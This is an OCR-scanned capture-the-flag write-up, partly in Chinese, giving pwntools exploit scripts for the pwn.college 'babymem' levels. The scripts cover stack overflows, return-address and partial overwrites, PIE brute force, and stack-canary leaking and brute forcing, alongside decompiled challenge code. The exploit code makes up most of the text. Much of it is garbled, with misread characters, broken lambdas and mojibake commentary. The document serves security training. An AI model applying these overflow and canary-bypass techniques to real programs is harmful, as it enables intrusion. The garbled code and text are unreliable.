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from pwn import *

context.log_level="'debug'
dojo = ssh("hacker","pwn.college",keyfile="./pwncollege.ssh",raw=True)

dojo._tried_sftp = True

1

2

3

4

5 dojo.sftp = None
6

7

8 p : process

9

10 s = lambda data :p.send(data)

11 sl = lambda data :p.sendline(data)

12 sa = lambda x,data :p.sendafter(x, data)

13 sla = lambda x,data :p.sendlineafter(x, data)
14 r = lambda num=4096 :p.recv(num)

15 ri = lambda num=4096 :p.recvline(num)

16 ru = lambda x tp.recvuntil(x)

17 dtr = lambda :p.interactive()

18 uu32 = lambda data :u32(data.ljust(4,b'"\x00"))
19 uub4 = lambda data :ub4(data.ljust(8,b"\x00"))
20  urub4 = lambda cuubd (ru("\x7f")[-6:1)

21 leak = lambda name :log.success('{} = {}'.format(name, hex(e
22 libc_os = lambda x :libc_base + x

23 libc_sym = lambda x :libc_os(libc.sym[x])

24

25 v def start(prog:str,args=[]):

26 global p

27 p = dojo.process([prog] + (args))

28 return p

29

30
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from pwnheader import =*

p = sta(1,1)

sl(str(0ox48))

s(b'a'x0x40+p64 (OxFFFFFFFFFFFFFFFf))

p.interactive()
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1
2
3
4
5 ru("Payload size:
6
7
8
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1 from pwn import *

2

3 context.log_level="debug'
4

5

6 s = lambda data

7 sl = lambda data

8 sa = lambda x,data
9 sla = lambda x,data
10 r = lambda num=4096
11 ri = lambda num=4096
12 ru = Tlambda x

13 itr = lambda

14 uu32 = lambda data

15 uub4 = lambda data

16 uru6b4 = lambda

17  leak = lambda name

18 libc_os = lambda x

19 libc_sym = lambda x
20

21

N
N

T T T T T T T T

dojo = ssh("hacker","pwn.college",keyfile="./pwncollege.ssh")

.send(data)
.sendline(data)
.sendafter (x, data)
.sendlineafter(x, data)
.recv(num)
.recvline(num)
.recvuntil(x)

.dinteractive()

:u32(data.ljust(4,b'\x00"))
:ub4(data.ljust(8,b"\x00"))

tuub4 (ru("\x7f")[-6:])

:log.success('{} = {}'.format(name, hex(e
:libc_base + x

:libc_os(libc.sym[x])

p = dojo.process(["/challenge/babymem_level2.0"])



23 ru("Payload size:")

24  sl(str(ox44))

25 s(b'a'*0x40+p32(966356487))
26

27 p.interactive()

HABIR

1 from pwn import *

2

3 context.log_level='debug'
4

5

6 s = lambda data

7 sl = lambda data

8 sa = lambda x,data

9 sla = lambda x,data
10 r = lambda num=4096
11 ri = lambda num=4096
12 ru = lambda x

13 Hdtr = lambda

14 uu32 = lambda data

15 uub4 = lambda data

16 uru64 = lambda

17  leak = lambda name

18 libc_os = Tlambda x

19 libc_sym = lambda x

20

dojo = ssh("hacker","pwn.college",keyfile="./pwncollege.ssh",raw=True)

.send(data)
.sendline(data)

.sendafter (x, data)

.recv(num)
.recvline(num)

.recvuntil(x)

p
p
p
:p.sendlineafter(x, data)
p
p
P
p

.dinteractive()

:u32(data.ljust(4,b"\x00"))

:ub4 (data.ljust(8,b"\x00"))

:uubd (ru("\x7f")[-6:])

:log.success('{} = {}'.format(name, hex(e
:libc_base + x

:libc_os(libc.sym[x])

21 p = dojo.process(["/challenge/babymem_level2.1"])

22

23  ru("Payload size:")

24  sl(str(108+8))

25 s(b'a'*x108+p64(1302339401))
26

27  p.interactive()

3 HEEEIREME
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1 from pwnheader import =*



y =1
fstr = str(x) + "." + str(y)

dojo.download_file("/challenge/babymem_level"+fstr)
p = start("/challenge/babymem_level"+fstr)
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10  ru("Payload size:")
11 if (y == 0):

12 sl(str(136+8))

13 s(b'a'*136+p64 (0x401d68))
14 else:

15 sl(str(88+8))

16 s(b'a'x(88)+p64(0x40176cC))
17

18  1itr()

4-5 FIZERHI B EHIR B

5 size_ t nbytes[7]; // [rsp+2Ch] [rbp-44h] BYREF
6 1int v4; // [rsp+64h] [rbp-Ch]

7 void *buf; // [rsp+68h] [rbp-8h]
8

9 buf = (char *)nbytes + 4;
16 memset(nbytes, @, 55);
11 printf("Payload size: ");

12 _ isoc99 scanf("%i", nbytes);
13 if ( SLODWORD(nbytes[@]) > 51 )
14 {
15 puts("Provided size is too large!");
16 exit(1);
17
SR

from pwnheader import *

# p = sta(4,0)

# sl(str(-1))

1

2

3

4

5 # ru("Payload size:")
6

7 # s(b'a'x(104)+p64(0x402327) )
8

9

p = sta(4,1)



10 ru("Payload size:")

11 sl(str(-1))

12 s(b'a'%x(72)+p64(0x4021ae))
13

14 Hitr()

5. mitiGd, BEEHERE—THEEREIMHA

pPrinwri Numoper ot pdyludu recorus Lo senu. )3
__isoc99_scanf("%u", &v4);
if ( lv4 )

__assert_fail("record_num > @", "<stdin>", ex45u, "challenge");
printf("Size of each payload record: ");
__iso0c99_scanf("%u", &v3);
if ( hv3 )

__assert_fail("record_size > 8", "<stdin>", ©x48u, "challenge");
if ( vB X vl > 7 )

__assert_fail("record_size * record_num < (unsigned int) sizeof(input)", "<stdin>", @x49u, "challenge");
nbytes = v3 * (unsigned __inte4)v4;
printf("Send your payload (up to %lu bytes)!\n", nbytes);
v7 = read(8, buf, nbytes);
sty ol Y B

RAIBIR

1  from pwnheader import *

2

3 # p = sta(5,0)

4

5 # ru("Number of payload records to send:")
6 # sl1('"2147483650")

7 # ru("payload record:")

8 # sl("2")

9

Hk

10 ru("bytes)!")

11 # sl(b'a'x136+p64(0x401eed))
12

13 p = sta(5,1)

14

15  ru("Number of payload records to send:")
16 s1("2147483650")

17 ru("payload record:")

18 sl("2")

19

20 ru("bytes)!")

21  sl(b'a'*x72+p64(0x4018a4))

22

23 Hqtr()

24



6 HEiziREEIHEA

1 void _ fastcall win_authed(int al)

3 int *1: // rax
4 char *v2; // rax
51 int *w3: fF rax
6 char *v4; // rax
-
8

if ( a1l == 4919 )

9] {
10 puts("You win! Here is your flag:");
11 flag fd 5627 = open("/flag", ©);
12 if ( flae fd_5627 >= @ )
13 { i
14 flag_length_5628 = read(flag_fd_5627, &flag 5626, @exleeulLl);
15 if ( flag_length 5628 > @ )
16 {
RAFR
1  from pwnheader import *
2
3 # p = sta(6,0)
4
5 # ru('"Payload size:")
6 # sl(str(104+8))
7 # ru("bytes)!")
8 # s(b'a'x104+p64(0x401fc5))
9

106 p = sta(6,1)

11 ru("Payload size:")

12  sl(str(48))

13 ru("bytes)!")

14 s(b'a'*40+p64(0x401la5b))
15

16 1itr()

-- BBPIEFCanary --
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1 from pwnheader import =*
2

3 # while(1):

4 # p = sta(7,0)

5 # ru("Payload size:")
6 # sl(str(122))

7 # ru("bytes)!")

8 # s(b'a'x120+p64(0x262)[:2])
) # p.recvall()

10

11 # a = input("Got?")
12 # ifa == 'y':

13 # break

14 # else:

15 # p.close()

16

17 while (1):

18 p = sta(7, 1)

19 ru("Payload size:")
20 sl(str(106))

21 ru("bytes)!")
22 s(b'a'*x104+p64(0x377)[:2])
23 p.recvall()
24
25 a = input("Got?")
26 if a == 'y':
27 break

28 else:

29 p.close()
30
31 itr()
32

8 3k 0x0 payload PR
MitE_Ecopydy, BXstrlen, #hZiffifRpayload;%BOXON ARSI R Bl



__1s0c99_scanf("%1lu", &size);
buf = malloc(size);
aF [ Lbuf )
__assert_fail("tmp_input != ©", "<stdin>", @x47u, "challenge");
printf("Send your payload (up to %lu bytes)!\n", size);
v8 = read(@, buf, size);
v7 = strlen((const char *)buf);
if ( v7 > ©x5C )
__assert_fail("string_length < 93", "<stdin>", @x4Bu, "challenge");
memcpy(dest, buf, v8);

(AEEIZS

1 from pwnheader import *

2

3 # while (1):

4 # p = sta(8, 0)

5 # ru("Payload size:")

6 # sl(str(106))

7 # ru("bytes)!")

8 # s(b'\0'*104+p64(0xfe5)[:2])
9 # if b"pwn.college{" in p.recvall():
10 # break

11

12  while (1):

13 p = sta(8, 1)

14 ru("Payload size:")

15 sl(str(138))

16 ru("bytes)!")

17 s(b'"\0'*x136+p64 (Ox06a) [:2])
18 if b"pwn.college{" in p.recvall():
19 break
20

21 dtr()
22

-- wPIEF]Canary --
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1 __int64 challenge()
2 {
3 int ve; // eax
4| Ant ®i13 /) rax
5| «char ®v2; /J/ rax
6 unsigned __inté4 v4; // [rsp+28h] [rbp-48h] BYREF
7 __int64 *v5; // [rsp+3@h] [rbp-40h]
8 int *v6; // [rsp+38h] [rbp-38h]
9 __int64 v7[3]; // [rsp+48h] [rbp-3@h] BYREF
18 int v8; // [rsp+58h] [rbp-18h] BYREF
11 unsigned __inté4 v9; // [rsp+68h] [rbp-8h]
12
'13  v9 = _ readfsqword(@x28u);
14 memset(v7, @, sizeof(v7));
VIS5 w8 .= :@;
3Bl MY = VI
17 v6 = &v8;
18| v4 = @6LL:
19 printf("Payload size: ");
'28 __iso0c99 scanf("%lu", &v4);
' 21 printf("Send your payload (up to %lu bytes)!\n", v4);
122  while ( *v6 < v4 )
23 {
| 24 v@ = read(@, (char *)v5 + *JE, 1uLl);
) 25 *V6 += vO;
26 }
27 if ( *v6 < @ )
28 {
29 vl = __errno_location();
| 30 v2 = strerror(®*vl);
)31 printf("ERROR: Failed to read input -- %s!\n", v2);
B exit(1);
33}
' 34 puts("Goodbye!");
35 return eLL;
1 36 }
HBIR
1  from pwnheader import =*
2
3 # while (1):
4 # p = sta(9, 0)
5
6 # ru("Payload size:")
7 # sl(str(122))



# ru("bytes)!")
9 # s(b'a'x100)
10 # # it's the time to skip
11 # s(p32(119)[:1])
12 # s(p64(0x068b)[:2])
13  # if b"pwn.college{" in p.recvall():
14 # break
15
16 while (1):
17 p = sta(9, 1)
18 ru("Payload size:")
19 sl(str(58))
20 ru("bytes)!")
21 s(b'a'x24)
22 # it's the time to skip
23 s(p32(55)[:1])
24 s(p64(0x13c4)[:2])
25
26
27 if b"pwn.college{" 1in p.recvall():
28 break
29
30 qtr()
31

10 & B printfZ& 50x00
EERA printf, REBEZAIE40FTAR0R A LAIEflagim H
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1 from pwnheader -import *
2

3 # p = sta(10,0)

4 # ru("Payload size:")

5 # sl("40")

6 # ru("bytes)!")

7 # s(b'a'*40)

8

9 p = sta(l0,1)

10 ru("Payload size:")
11 sl("17")

12 ru("bytes)!")

13 s(b'a'x1l7)

14

15 qtr()



16

11 mmap&ELE o EcZ S5 0x00

mmapE LD Bt ELSEER, 501(20480Bytes)Z f5%likflag, pwntools 77 TURIEANEEIEMAAN, B
175 t¥payload cati#tZEN ]
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1 from pwnheader import =
2
3 p = sta(11,1)
4
5
6
7
8
9
10 itr()
11
12 FTE PR EE canary

B & \challengetd, D4, Sticanary, AEESretaddr, BPIEREEEIZS
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7 __int64 v9[4]; // [rsp+46h] [rbp-3eh] BYREF
8 int vie; // [rsp+6@h] [rbp-18h]
9 unsigned __inté64 v11; // [rsp+68h] [rbp-8h]
10
11  vll = _ readfsqword(ex28u);
12  memset(v9, 8, sizeof(v9));
131 viP = @;
141 buf = v9;
15 nbytes = 6LL;
16 printf("Payload size: ");
17 __isoc99 scanf("%lu”, &nbytes);
18 printf("Send your payload (up to %lu bytes)!\n", nbytes);
19 if ( (int)read(®, buf, nbytes) < @ )
26 {
21 v3 = __errno_location();
22 v4 = strerror(*v3);
23 printf("ERROR: Failed to read input -- %s!\n", v4);
24 exit(1);
25 }
26 printf("You said: %s\n", (const char *)buf);
271 4AF (¢ stestr((const char *)buf, “REPEAT™) )
28 {
29 puts(“"Backdoor triggered! Repeating challenge()");
30 return challenge(z2l, 22, a3);
31}
32 else
33 {
34 puts(“"Goodbye!");
35 return BLL;
36}
37 }
RABIR
1  from pwnheader import *
2
3 # while (1):
4 # p = sta(12, 0)
5 # ru("Payload size:")
6 # sl(str(6x89))
7 # ru("bytes)!")
8 # s(b'REPEAT--"+(0x88//8)+b'A")
9 # ru("--A")
10 # canary = bytearray(b'\0')+r(7)
11 # log.success(canary.hex())
12 # ru("Payload size:")
13 # sl(str(0x9A))



14 # ru("bytes)!")

15 # s(b'a'*0x88+canary+b'B'*x8+p64 (0x2386))
16 # if b"pwn.college{" in p.recvall():
17 # break

18

19 while (1):

20 p = sta(12, 1)

21 # break

22 ru("Payload size:")

23 sl(str(41))

24 ru("bytes)!")

25 s(b'REPEAT--"*(5)+b'A")

26 ru("--A")

27 canary = bytearray(b'\0')+r(7)

28 log.success(canary.hex())

29 ru("Payload size:")

30 sl(str(0x3A))

31 ru("bytes)!")

32 s(b'a'x40+canary+b'B'*8+p64 (0x1371))
33 if b"pwn.college{" 1in p.recvall():
34 break

35

36 itr()

37

13 R4NIafCRM% EEURE: HixittEflag
#t \challengeTiRER T flagBi% L RS RMMIBTAEEO, B LHIBEE

1 int verify_flag()

2 {

3 int ve; // eax

4 _BYTE v2[265]; // [rsp+37h] [rbp-189h] BYREF

5

6 *(_QWORD *)&v2[257] = __readfsqword(@x28u);

7 ve = open("/flag", 0);

8 read(ve, v2, exleeuLlL);

9 puts(

10 "This challenge reads the flag file to verify
11  return printf("The flag was read into address %
12 }

(A TEIZS



1 from pwnheader import =*
2

3 # p = sta(13,0)

4 # ru("Payload size:")
5 # sl("215")

6 # ru("bytes)!")

7 # s(b'a'x215)

8

9 p = sta(l13,1)

10 ru("Payload size:")
11 sl("253")

12 ru("bytes)!")

13 s(b'a'x253)

14

15  Hdtr()

14 RYEMCRIM _EEUR: ttEEcanary
0. hE2XRMAL, PIAMR LK ZElcanaryf 2 BIRERREHILE, % TFIRK
1. RHWEM, BRHI T printfRIKE, Mik LittE REcanary?A/S @M retaddr
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from pwnheader import *
# context. log_level = "INFO'

1
2
3
4
5 # p = sta(14,0)
6
7
8
9

# ru("Payload size:")
# sl(str(265))
# ru("bytes)!")
10 # s(b'REPEAT--'%x(264//8)+b'A")
11 # ru("--A")
12 # canary = bytearray(b'\0')+r(7)
13 # log.success(canary.hex())
14
15 # ru("Payload size:")
16 # sl(str(400))
17 # ru("bytes)!")
18 # s(b'REPEAT--'%(400//8 - 1)+b'TAGHERE!"')
19 # ru("--TAGHERE!")
20 # retoff = uu32(r(2)) & OxfOOO
21 # log.success(f"Ret offset: {hex(retoff)}")



22

23 # ru("Payload size:")

24 # sl(str(0Ox1bA))

25 # ru("bytes)!")

26 # s(b'a'+*0xla8+canary+b'B'x8+p64(retoff - Ox2000 + Ox1fcO)) # Ox29cc ret, so
27

28 while(1):

29 p = sta(l4, 1)

30 ru("Payload size:")

31 sl(str(185))

32 ru("bytes)!")

33 s(b'REPEAT--"'%(184//8)+b'A")

34 ru("--A")

35 canary = bytearray(b'\0')+r(7)

36 log.success(canary.hex())

37

38 ru("Payload size:")

39 sl(str(0xlda))

40 ru("bytes)!")

41 s(b'a'x0x1lc8+canary+b'B'x8+p64(0x17f5))
42 if b"pwn.college{" 1in p.recvall():
43 break

44

45 itr()

46

15 Canary/&h%
Canary!#ig, LLBGER, FEBAfERATIR
sEBrecvallfgitial, HAIRIRTTEER B
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1 from pwn import *

2

3 context.log_level = 'debug'

4 p : process

5

6 s = lambda data :p.send(data)

7 sl = lambda data :p.sendline(data)

8 sa = lambda x,data :p.sendafter(x, data)
9 sla = lambda x,data :p.sendlineafter(x, data)
10 r = lambda num=4096 :p.recv(num)

11 ri = lambda num=4096 :p.recvline(num)



12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
a7
48
49
50
51
52
53
54
55
56
57
58
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# start("killall",
# sta(l5, 0)
start("killall",
sta(15, 1)

log.success("Canary:

= Tlambda x
lambda
lambda data
= lambda data
lambda
lambda name

libc_os = lambda x
libc_sym = lambda x

def start(prog:str,args=[]):

global p
p = process([prog] + (args))
return p

sta(x,y):
fstr = str(x) + "." + str(y)

:p.recvuntil(x)
:p.interactive()
:u32(data.ljust(4,b"\x00"))
:ub4(data.ljust(8,b"\x00"))
cuub4 (ru("\x7f")[-6:1)
:log.success('{} = {}'.format(name, hex(e
:libc_base + x
:libc_os(libc.sym[x])

return start("/challenge/babymem_level"+fstr)

1

canary = bytearray(8)

for i in range(9):

for j in range(0x100):
canary[i-1] = j

p = remote("127.0.0.1",1337)

ru("Payload size:")

# sl(str(88+7)) # O
sl(str(104+i))
ru("bytes)!")

# s(b'a'*88+canary) # 0
s(b'a'x104+canary)

["babymem_levell5.0"])

["babymem_levell5.1"])

if b"smashing detected" not in p.recvall(0.05):

print("GOT")
p.close()
break

else:
p.close()

for j in range(0x10):

p = remote("127.0.0.1",1337)

" + hex(u64(canary)))



59 ru("Payload size:")

60 # sl(str(88+8+8+2)) # 0

61 sl(str(104+8+8+2))

62 ru("bytes)!")

63 # s(b'a'x88+bytes(canary)+b'B'*8+p64(j * Ox1000 + 0xa28)) #0O
64 s(b'a'x104+bytes(canary)+b'B'*x8+p64(j * Ox1000 + 0x99a))
65 s123 = p.recvall(0.1)

66 if b"pwn.college{" in s123:

67 print(sl23)

68 break

69 p.close()

70

71 Gdtr()

72
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